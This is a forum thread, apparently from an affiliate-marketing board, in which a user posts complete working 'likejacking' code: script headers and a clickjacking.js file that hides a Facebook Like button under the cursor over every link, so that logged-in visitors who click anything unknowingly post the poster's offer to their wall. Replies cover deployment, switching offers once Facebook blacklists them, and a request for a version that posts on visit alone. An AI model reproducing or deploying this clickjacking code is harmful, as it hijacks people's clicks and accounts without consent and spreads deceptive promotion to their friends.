[Method] $$$ Post your offer on someones facebook anytime they click a link.

zacatictac

Power Member
Joined
May 2, 2010
Messages
660
Reaction score
805
I'm not going to go too crazy in depth with this, just a basic rundown. Basically using a "like jacking" technique you can have any offer you want post on the facebook wall of whoever clicks a link on your website.

Change the headers of your webpage with the following:
Code:
<script src="http://code.jquery.com/jquery-1.5.js"></script>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
<script>window.DO_CLICKJACKING = 1</script>
<script src="clickjacking.js"></script>

Copy this to a text file and save it as "clickjacking.js" Then upload it to the root folder of your website:

Code:
var $J = jQuery.noConflict(); 

// solve: images and floating divs
function heightestChild(elem)
{
	var t=0;
	var t_elem;
	$J("*",elem).each(function () {
	    if ( $J(this).outerHeight(true) > t ) {
	        t_elem=$J(this);
	        t=t_elem.outerHeight(true);
	    }
	});
	// we care about the heighest
	if (elem.outerHeight(true) > t)
	{
		t = elem.outerHeight(true);
	}

	//return elem.outerHeight(true);
	return t+3; // hotfix
}

function highestOffsetTop(elem)
{
	var t=elem.offset().top;
	var t_elem;
	$J("*",elem).each(function () {
	    if ( $J(this).offset().top < t ) {
	        t_elem=$J(this);
	        t=t_elem.offset().top;
	    }
	});
	// we only care about the object that is most on top
	if (elem.offset().top < t)
	{
		t = elem.offset().top;
	}

	//return elem.offset().top;
	return t+3;
}

// 57 19 63

$J(document).ready(function(){
	if (window.DO_CLICKJACKING) { // wrap up EVERYTHING

	/*$J("body").append('<div id="clickjacking" style="position:absolute;display:block;opacity:0.01;-khtml-opacity:.01;-moz-opacity:.01;filter:alpha(opacity=1);"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');*/
	$J("body").append('<div id="clickjacking" style="position:absolute;display:block;"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');

	var elementWidth = 0;
	var elementHeight = 0;
	var theElement = '';
	var likeDone = 0;

	if ($J.cookie("clickjacking_"+escape(document.URL)) == 1)
	{
		likeDone = 1;
	}

	// fired when the user clicks a link (likes our page) -> clickjacking is done
	FB.Event.subscribe('edge.create', function(response) {
		  $J("#clickjacking").css("display", "none");
		  likeDone = 1;
		  $J.cookie("clickjacking_"+escape(document.URL), "1");
		  // let the user actually go to the link he clicked.
		  window.location.href = theElement.attr('href');
	});

$J(document).mousemove(function(event) {
		if (theElement != '')
		{
			if (event.pageY < (highestOffsetTop(theElement)-4) || event.pageY > (highestOffsetTop(theElement) + heightestChild(theElement)) || event.pageX < theElement.offset().left || event.pageX > (theElement.offset().left + theElement.width()) )
			{
				//alert(event.pageY + " " + theElement.height() + " " + theElement.offset().top);
			/*	$J("#log").append("<p>mouse off the element LEFT " + event.pageX  + " " + theElement.offset().left + " " + (theElement.offset().left + theElement.width()) +  "</p>");
				$J("#log").append("<p>mouse off the element TOP " + event.pageY  + " " + highestOffsetTop(theElement) + " " + (highestOffsetTop(theElement) + heightestChild(theElement,true)) +  "</p>");*/
				theElement = ''; // the mouse is off theElement
				$J("#clickjacking").css("display", "none");
			}
			else
			{
				if ($J.browser.msie) {
					$J("#clickjacking").css("top",(event.pageY-15)+"px");
					$J("#clickjacking").css("left",(event.pageX-20)+"px");
				}
				else
				{
					$J("#clickjacking").css("top",(event.pageY-5)+"px");
					$J("#clickjacking").css("left",(event.pageX-20)+"px");
				}
			}
		}
});

$J(document).delegate("a","mouseenter", function (){
	// register mouse is inside element
	if (likeDone == 0)
	{
		theElement = $J(this);
		$J("#clickjacking").css("display", "block");
	}
}); 

} // window.DO_CLICKJACKING
});

/**
 * Cookie plugin
 *
 * Copyright (c) 2006 Klaus Hartl (stilbuero.de)
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 *
 */

/**
 * Create a cookie with the given name and value and other optional parameters.
 *
 * @example $.cookie('the_cookie', 'the_value');
 * @desc Set the value of a cookie.
 * @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true });
 * @desc Create a cookie with all available options.
 * @example $.cookie('the_cookie', 'the_value');
 * @desc Create a session cookie.
 * @example $.cookie('the_cookie', null);
 * @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain
 *       used when the cookie was set.
 *
 * @param String name The name of the cookie.
 * @param String value The value of the cookie.
 * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.
 * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.
 *                             If a negative value is specified (e.g. a date in the past), the cookie will be deleted.
 *                             If set to null or omitted, the cookie will be a session cookie and will not be retained
 *                             when the the browser exits.
 * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).
 * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).
 * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will
 *                        require a secure protocol (like HTTPS).
 * @type undefined
 *
 * @name $.cookie
 * @cat Plugins/Cookie
 * @author Klaus Hartl/[email protected]
 */

/**
 * Get the value of a cookie with the given name.
 *
 * @example $.cookie('the_cookie');
 * @desc Get the value of a cookie.
 *
 * @param String name The name of the cookie.
 * @return The value of the cookie.
 * @type String
 *
 * @name $.cookie
 * @cat Plugins/Cookie
 * @author Klaus Hartl/[email protected]
 */
jQuery.cookie = function(name, value, options) {
    if (typeof value != 'undefined') { // name and value given, set cookie
        options = options || {};
        if (value === null) {
            value = '';
            options.expires = -1;
        }
        var expires = '';
        if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
            var date;
            if (typeof options.expires == 'number') {
                date = new Date();
                date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
            } else {
                date = options.expires;
            }
            expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
        }
        // CAUTION: Needed to parenthesize options.path and options.domain
        // in the following expressions, otherwise they evaluate to undefined
        // in the packed version for some reason...
        var path = options.path ? '; path=' + (options.path) : '';
        var domain = options.domain ? '; domain=' + (options.domain) : '';
        var secure = options.secure ? '; secure' : '';
        document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
    } else { // only name given, get cookie
        var cookieValue = null;
        if (document.cookie && document.cookie != '') {
            var cookies = document.cookie.split(';');
            for (var i = 0; i < cookies.length; i++) {
                var cookie = jQuery.trim(cookies[i]);
                // Does this cookie string begin with the name we want?
                if (cookie.substring(0, name.length + 1) == (name + '=')) {
                    cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                    break;
                }
            }
        }
        return cookieValue;
    }
};


Then go to http://developers.facebook.com/docs/reference/plugins/like/

Go to where it says "Get open Graph tags".

Put in your offer title, Url, Image, etc.

Click "get tags"

Paste the generated code into the header of your website as well.



Your done. Now when anyone who is logged into face book clicks any link on your site, your offer will appear on their wall for all their friends to see. Enjoy!
 
Yea no problem. Hope this helps you out.

BTW. IF you just want your website to be liked, and not another offer....just skip the Open Graph Tags part.
 
Great share! Should be able to find a use for this.
 
Will facebook blacklist this as fast as they would normally blacklist websites that have this on their own websites? (So would FB blacklist the offer?)
 
Can I upload the clickjacking.js to another server?
 
Will facebook blacklist this as fast as they would normally blacklist websites that have this on their own websites? (So would FB blacklist the offer?)
I would assume so. At that point just switch it out with another offer and keep going. I just came up with this a few days ago so I havn't thoroughly tested it yet.

Can I upload the clickjacking.js to another server?
Needs to be in the root folder of your Websites webserver. I didnt write the code so I'm not sure if there is a way to tweak this or not.
 
Ahhh just changing the src= to the correct http-path will make it ;)
Didn't look at the script before.

Thx man this helps me ;)
 
I dont get it,can somebody please explain how could I see this up for a cpa offer link,or does it have to be a website? thanks in advance.
 
we have the like button on each item on our ecom sites. they click, it posts the image and description of the item with a link to the item on their page. how does this differ from that?
 
we have the like button on each item on our ecom sites. they click, it posts the image and description of the item with a link to the item on their page. how does this differ from that?


Um because that doesn't necessarily mean that everyone is going to click the like button. This is a forced like method. Its a hidden like button so ANYONE who clicks ANY link on your website automatically likes your website/offer/whatever.
 
Well at least if the clicking person is logged in at facebook, but I think most users won't log out so it works quite well
 
I dont get it,can somebody please explain how could I see this up for a cpa offer link,or does it have to be a website? thanks in advance.


You must own a website for this to work. Put your cpa offer link in the headers area following the link i provided.
 
What about confirm button ? when you like something ?

I guess one doesn't needs that, correct me if I'm wrong ladies.
I'm going to set this up tomorrow and report back. Could be a nice amount of likes from 1.500 uniques a day ;)
 
IF you auto promote your own website instead of the offer then you get confirm , is good tho for offers ,

correct me if i`m wrong
 
Hi ...
Can you make a script that when visitor VISIT your web, then the OFFER or something we promote AUTOMICALLY post on their FB wall ? So, we dont need a FB Fan page and so they dont need to click anything. Just simple, they visit our web and our offer posted on their wall.
 
Most people are logged onto Facebook 24/7 and this is actually a pretty good solution. I used another script but must give this variation a go. :chicken_w
 
Back
Top